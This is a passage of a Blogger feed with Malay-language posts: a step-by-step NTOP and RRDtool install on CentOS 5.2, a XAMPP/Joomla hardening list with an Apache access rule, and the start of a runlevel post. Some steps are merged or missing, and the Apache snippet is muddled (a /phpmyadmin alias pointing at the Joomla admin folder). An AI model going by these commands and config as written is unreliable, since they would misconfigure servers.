libart_lgpl-deve 100% |=========================|  21 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(20/20): xorg-x11-proto-d 100% |=========================| 247 kB    00:01&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Running rpm_check_debug&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Running Transaction Test&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Finished Transaction Test&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Transaction Test Succeeded&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Running Transaction&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libart_lgpl                  ####################### [ 1/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: freetype-devel               ####################### [ 2/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: fontconfig-devel             ####################### [ 3/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libpng-devel                 ####################### [ 4/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libXau-devel                 ####################### [ 5/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libart_lgpl-devel            ####################### [ 6/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libart_lgpl-devel            ####################### [ 7/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libpng-devel                 ####################### [ 8/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: freetype-devel               ####################### [ 9/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: xorg-x11-proto-devel         ####################### [10/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libX11-devel                 ####################### [11/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libXrender-devel             ####################### [12/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libXft-devel                 ####################### [13/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: cairo-devel                  ####################### [14/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libXext-devel                ####################### [15/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: pango-devel                  ####################### [16/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: pango-devel                  ####################### [17/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: libXdmcp-devel               ####################### [18/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: mesa-libGL-devel             ####################### [19/20]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing: cairo-devel                  ####################### [20/20]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installed: libart_lgpl-devel.x86_64 0:2.3.17-4 libart_lgpl-devel.i386 0:2.3.17-4 pango-devel.i386 0:1.14.9-3.el5 pango-devel.x86_64 0:1.14.9-3.el5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Dependency Installed: cairo-devel.x86_64 0:1.2.4-5.el5 cairo-devel.i386 0:1.2.4-5.el5 fontconfig-devel.i386 0:2.4.1-7.el5 freetype-devel.x86_64 0:2.2.1-20.el5_2 freetype-devel.i386 0:2.2.1-20.el5_2 libX11-devel.i386 0:1.0.3-9.el5 libXau-devel.i386 0:1.0.1-3.1 libXdmcp-devel.i386 0:1.0.1-2.1 libXext-devel.i386 0:1.0.1-2.1 libXft-devel.i386 0:2.1.10-1.1 libXrender-devel.i386 0:0.9.1-3.1 libart_lgpl.i386 0:2.3.17-4 libpng-devel.i386 2:1.2.10-7.1.el5_0.1 libpng-devel.x86_64 2:1.2.10-7.1.el5_0.1 mesa-libGL-devel.i386 0:6.5.1-7.5.el5 xorg-x11-proto-devel.i386 0:7.1-9.fc6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Complete!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;STEP 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cd /opt/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# wget http://oss.oetiker.ch/rrdtool/pub/rrdtool-1.3.1.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# tar -zxvf ntop-3.3.6.tar.gzSTEP 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# export PKG_CONFIG_PATH=/usr/lib/pkgconfig/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ./configure&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Sampel Result :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;config.status: executing default-1 commands&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;config.status: executing intltool commands&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;config.status: executing default commands&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;config.status: executing po/stamp-it commands&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;checking in... and out again&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;ordering CD from http://tobi.oetiker.ch/wish .... just kidding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;----------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Config is DONE!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;With MMAP IO: yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Static programs: no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Perl Modules: perl_piped perl_shared&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Perl Binary: /usr/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Perl Version: 5.8.8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Perl Options: PREFIX=/usr/local/rrdtool-1.3.1 LIB=/usr/local/rrdtool-1.3.1/lib/perl/5.8.8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Ruby Modules:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Ruby Binary: no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Ruby Options: sitedir=$(DESTDIR)NONE/lib/ruby&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Build Tcl Bindings: no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Build Python Bindings: yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Build rrdcgi: yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Build librrd MT: yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Link with libintl: yes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;  Libraries: -lxml2 -lcairo -lcairo -lcairo -lm  -lcairo -lpng12   -lpangocairo-1.0 -lpango-1.0 -lcairo -lgobject-2.0 -lgmodule-2.0 -ldl -lglib-2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Type 'make' to compile the software and use 'make install' to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;install everything to: /usr/local/rrdtool-1.3.1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;... that wishlist is NO JOKE. If you find RRDtool useful&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;make me happy. Go to http://tobi.oetiker.ch/wish and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;place an order.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;                    -- Tobi Oetiker&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;----------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Compile dan Install :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# make&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# make install&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cd /usr/local/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ln -s rrdtool-1.3.1/ rrdtool/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cd rrdtool&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ls -l&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Cara nak sahkan RRDTool berfungsi :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cd /usr/local/rrdtool/share/rrdtool/examples/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ./stripes.pl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ls -l&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cp stripes.png /var/www/html/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Buka Firefox dan layari link berikut :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;http://your-domain.com/stripes.png&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;* Semasa compile tadi kita boleh tukar default location RRDTool tu ke tempat lain. By default ianya di install di sini : /usr/local/rrdtool-1.3.1/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ./configure --prefix=/usr/local/rrdtool&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# make install&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2) Install libpcap :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;# yum install libpcap-devel libpcap&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cd ntop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# ./autogen.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# make&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# make install&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# make install-data-as3) Wujudkan user NTOP anda :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# useradd -M -s /sbin/nologin -r ntop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4) Setup directory permission :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;# chown ntop:root /usr/local/var/ntop/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# chown ntop:ntop /usr/local/share/ntop/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5) Setup NTOP user admin :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;&lt;br /&gt;# ntop -A&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Sampel result :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;Mon Jul 28 03:38:34 2008  NOTE: Interface merge enabled by default&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;Mon Jul 28 03:38:34 2008  Initializing gdbm databases&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;ntop startup - waiting for user response!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Please enter the password for the admin user:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Please enter the password again:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Mon Jul 28 03:38:42 2008  Admin user password has been set &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;6) Start NTOP :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# /usr/local/bin/ntop -d -L -u ntop -P /usr/local/var/ntop --skip-version-check   --use-syslog=daemon&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Sampel result :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Mon Jul 28 03:42:19 2008  NOTE: Interface merge enabled by default&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Mon Jul 28 03:42:19 2008  Initializing gdbm databases&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Sekiranya anda ada banyak network interface (bagi yang setup NTOP pada gateway network-eth0,eth1,eth2) :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-style: italic;"&gt;# /usr/local/bin/ntop -i "eth0,eth1" -d -L -u ntop -P /usr/local/var/ntop --skip-version-check   --use-syslog=daemon&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;Maksud singkatan command tu :&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;-i "eth0,eth1" : Tentukan network interface yang akan dibuat monitoring.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;-d : Run ntop sebagai daemon.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;-L : Hantar log mesej ke sistem log (/var/log/messages) selain paparan pada screen-u ntop : Start ntop sebagai ntop user&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;-P /usr/local/var/ntop : Tentukan kat mana ntop simpan fail database. Anda mungkin memerlukan database tersebut sebagai sebahagian dari program pemulihan nanti.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;--skip-version-check : Secara default, ntop akan mencapai remote file secara semakan berkala bagi memastikan versi terkini sedang digunakan. Fungsi ini disablekannya.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;--use-syslog=daemon : Gunakan syslog daemon.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7) Cara layari NTOP anda :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;http://localhost:3000/ ATAU http://server-ip:3000/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;8) Jika menggunakan firewall iptables, pastikan enable port 3000 :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;&lt;br /&gt;# nano /etc/sysconfig/iptables&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Masukkan sebelum final REJECT line :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 3000 -j ACCEPT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# service iptables restart&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Untuk shorewall pastikan filter ip dan port 3000 dimasukkan. Boleh guna Webmin.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Kalau tanak open port 3000, boleh guna cara ssh tunnel :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;$ ssh -L 3000:localhost:3000 -N -f  user@server.yourcorp.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Buka browser anda dan layari  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;http://localhost:3000/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;9) Start NTOP on boot :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;&lt;br /&gt;# nano /etc/rc.local&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Masukkan line berikut  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;/usr/local/bin/ntop -i "eth0,eth1" -d -L -u ntop -P /usr/local/var/ntop --skip-version-check   --use-syslog=daemon&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Save dan close&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;10) Cara nak stop NTOP :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# killall ntop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Yeh! anda dah pun berjaya setup NTOP di Centos anda...ahaks best!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Terima kasih kepada  panduan nota cyberciti&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;~ Be a Creator Not a User ~&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;http://muzzotechspot.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;http://muzzoshah.blogspot.com&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5937789440368441542?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5937789440368441542/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5937789440368441542&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5937789440368441542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5937789440368441542'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/04/setup-ntop-on-centos-52.html' title='10 steps to setup NTOP on Centos 5.2'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2387104375767358485</id><published>2009-04-28T10:27:00.004+08:00</published><updated>2009-04-29T09:58:17.053+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='XAMPP'/><category scheme='http://www.blogger.com/atom/ns#' term='Joomla'/><title type='text'>Secure XAMPP with Joomla</title><content type='html'>Tahap penggunaan perisian Open Source untuk tujuan pembangunan Web pada masa kini semakin popular memandangkan kos yang rendah dan tidak terikat dengan vendor.&lt;br /&gt;&lt;br /&gt;Namun kita kurang ambil perhatian tentang kepentingan tahap keselamatan terhadap perisian yang kita gunakan tersebut. Kebiasaannya kita akan download dan install seterusnya guna sahaja. Sememang kita tahu ianya percuma namun pernahkah kita terfikir yang ianya juga ciptaan manusia dan tiada yang sempurna pada ciptaan manusia selain ciptaanNYA...wah bertazkirah lak sesambil tu...ahaks..&lt;br /&gt;&lt;br /&gt;Jadi mungkin bagi yang ingin membina sebuah website sendiri perlu ambil perhatian tentang isu kawalan keselamatan ni. Lagi-lagi sekarang ni asal buat portal sahaja pasti akan tertumpu kepada perisian Joomla yang merupakan perisian sumber terbuka yang komprehensif untuk menjadikan Portal anda memenuhi spesifikasi Web 2.0 iaitu merangkumi semua bentuk fungsi sebagai pemberi maklumat, penghubung komuniti, pemudah carian dan pelbagai lagi...&lt;br /&gt;&lt;br /&gt;Kaedah yang biasa kita terfikir untuk setup sebuah Portal server adalah menggunakan perisian XAMPP yang tersedia dengan installer untuk PHP, MYSQL, APACHE, FILEZILLA FTP, WEBALIZER dan PHPMYADMIN. Sebenarnya kalau diikutkan XAMPP hanya sesuai digunakan untuk tujuan DEVELOPMENT SERVER SAHAJA...tapi kita dah salahgunakan untuk tujuan LIVE PORTAL...aduiyaiii...Untuk pengetahuan semua juga dalam Web XAMPP ada dinyatakan kaedah untuk secure pada XAMPP yang mereka bangunkan. Tapi kita jarang ambil penting tentang perkara tersebut. Jika dilihat dari sudut mudah semua dah ada dalam satu installer memang cantik jika dilaksanakan untuk server Windows. Namun jika pelaksanaan untuk server CentOS tidak digalakkan menggunakan XAMPP atau LAMPP dalam Linux. Seeloknya dibuat instalasi berasingan.&lt;br /&gt;&lt;br /&gt;Ok setel bebelan untuk XAMPP...&lt;br /&gt;13 Langkah untuk securekan XAMPP adalah seperti di bawah :&lt;br /&gt;(Rujukan dari http://www.robsnotebook.com)&lt;br /&gt;&lt;br /&gt;1) Gunakan XAMPP Security Page untuk kawalan password /xampp dan phpmyadmin pengguna root. &lt;a href="http://robsnotebook.com/xampp-builtin-security"&gt;LANJUT DISINI&lt;/a&gt;&lt;br /&gt;2) Buang semua folder yang tidak digunakan dan kesemua maklumat di dalam fail config. &lt;a href="http://robsnotebook.com/xampp-remove-folders-deny-access"&gt;LANJUT DISINI&lt;/a&gt;&lt;br /&gt;3) Buang script default dari cgi-bin directory. &lt;a href="http://robsnotebook.com/xampp-cgi-bin-cleaning"&gt;LANJUT DISINI&lt;/a&gt;&lt;br /&gt;4) Wujudkan "pma" password yang tidak dibuat pada Security Script Page dan Password Protect untuk folder yang lain. &lt;a href="http://robsnotebook.com/xampp-additional-passwords"&gt;LANJUT DISINI&lt;/a&gt;&lt;br /&gt;5) Buangkan default user/password yang dimasukkan ke dalam FTP Server, WebDAV Server dan Web Accessible Folder. &lt;a href="http://robsnotebook.com/xampp-remove-default-users-passwords"&gt;LANJUT DISINI&lt;/a&gt;&lt;br /&gt;6) Encrypt semasa password di hantar. &lt;a href="http://robsnotebook.com/xampp-ssl-encrypt-passwords"&gt;LANJUT DISINI&lt;/a&gt;&lt;br /&gt;7) Setup Apache and MySQL supaya berfungsi pada user account dan hadkan akses kepada filesystem&lt;br /&gt;8) Kawal akseskepada WebDAV server dan FTP Server.&lt;br /&gt;9) Hadkan atau buang akses kepada /server-info dan /server-status&lt;br /&gt;10) Buang fungsi dicari oleh sebarang search engine daripada senaraikan website anda dalam keputusan carian&lt;br /&gt;11) Buang fungsi directory listings&lt;br /&gt;12) Buang apache error version info yang dipaparkan pada bawah page setiap error page.&lt;br /&gt;13) Buangkan apache version info yang dinyatakan pada http://requests yang mana browser tidak paparkan&lt;br /&gt;&lt;br /&gt;Okeh sekarang ni kita nak securekan XAMPP bersama joomla. Untuk securekan joomla ni mungkin kena buat artikel lain untuknya...&lt;br /&gt;&lt;br /&gt;So Kita tahu fungsi joomla membolehkan webmaster kemaskini portal secara online. Jika kita cuba browse sebarang website yang menggunakan joomla kita boleh cuba masukkan url berikut :&lt;br /&gt;http://&lt;nama&gt;/robots.txt.&lt;br /&gt;Anda akan nampak paparan seperti berikut :&lt;br /&gt;&lt;pre&gt;User-agent: *&lt;br /&gt;Disallow: /administrator/&lt;br /&gt;Disallow: /cache/&lt;br /&gt;Disallow: /components/&lt;br /&gt;Disallow: /editor/&lt;br /&gt;Disallow: /help/&lt;br /&gt;Disallow: /images/&lt;br /&gt;Disallow: /includes/&lt;br /&gt;Disallow: /language/&lt;br /&gt;Disallow: /mambots/&lt;br /&gt;Disallow: /media/&lt;br /&gt;Disallow: /modules/&lt;br /&gt;Disallow: /templates/&lt;br /&gt;Disallow: /installation/&lt;br /&gt;&lt;/pre&gt;So dari situ kita akan tahu folder yang available di portal menggunakan joomla ni. Jadi hackers akan cuba mendapatkan cara untuk akses kepada administrator page semestinya...Daripada ayat tersebut seperti ianya tidak membenarkan capaian kepada folder tersebut tapi hackers akan terus mencuba...&lt;br /&gt;&lt;br /&gt;Kaedah untuk kawalan&lt;br /&gt;&lt;br /&gt;1) Buang file robots.txt tersebut dari server portal joomla.&lt;br /&gt;2) Edit fail httpd-xampp.conf (c:/xampp/apache/conf/extra/)&lt;br /&gt;Tambahkan simple rule berikut untuk disable akses kepada folder /administrator :&lt;br /&gt;    Alias /phpmyadmin "C:/xampp/htdocs/joomla/administrator/"&lt;br /&gt;    &lt;directory&gt;&lt;br /&gt;        AllowOverride AuthConfig&lt;br /&gt;        Order allow,deny&lt;br /&gt;        Allow from 192.168.1.0/24 localhost&lt;br /&gt;    &lt;/directory&gt;&lt;br /&gt;&lt;br /&gt;Rule tersebut hanya membenarkan akses dari LAN 192.168.1.0/24 dan di server sahaja.&lt;br /&gt;&lt;br /&gt;Hopefully maklumat membantu...&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2387104375767358485?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2387104375767358485/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2387104375767358485&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2387104375767358485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2387104375767358485'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/04/secure-xampp-with-joomla.html' title='Secure XAMPP with Joomla'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6654795918640382314</id><published>2009-04-06T14:54:00.002+08:00</published><updated>2009-04-06T15:31:20.445+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><title type='text'>Change Runlevel Centos 5</title><content type='html'>Bebaru ni server Centos aku yang guna server lama tu problem sebab dah takleh nak write data pada harddisk. Jadi aku nak tukarkan server tu dari runlevel GUI kepada runlevel guna command prompt sahaja.&lt;br 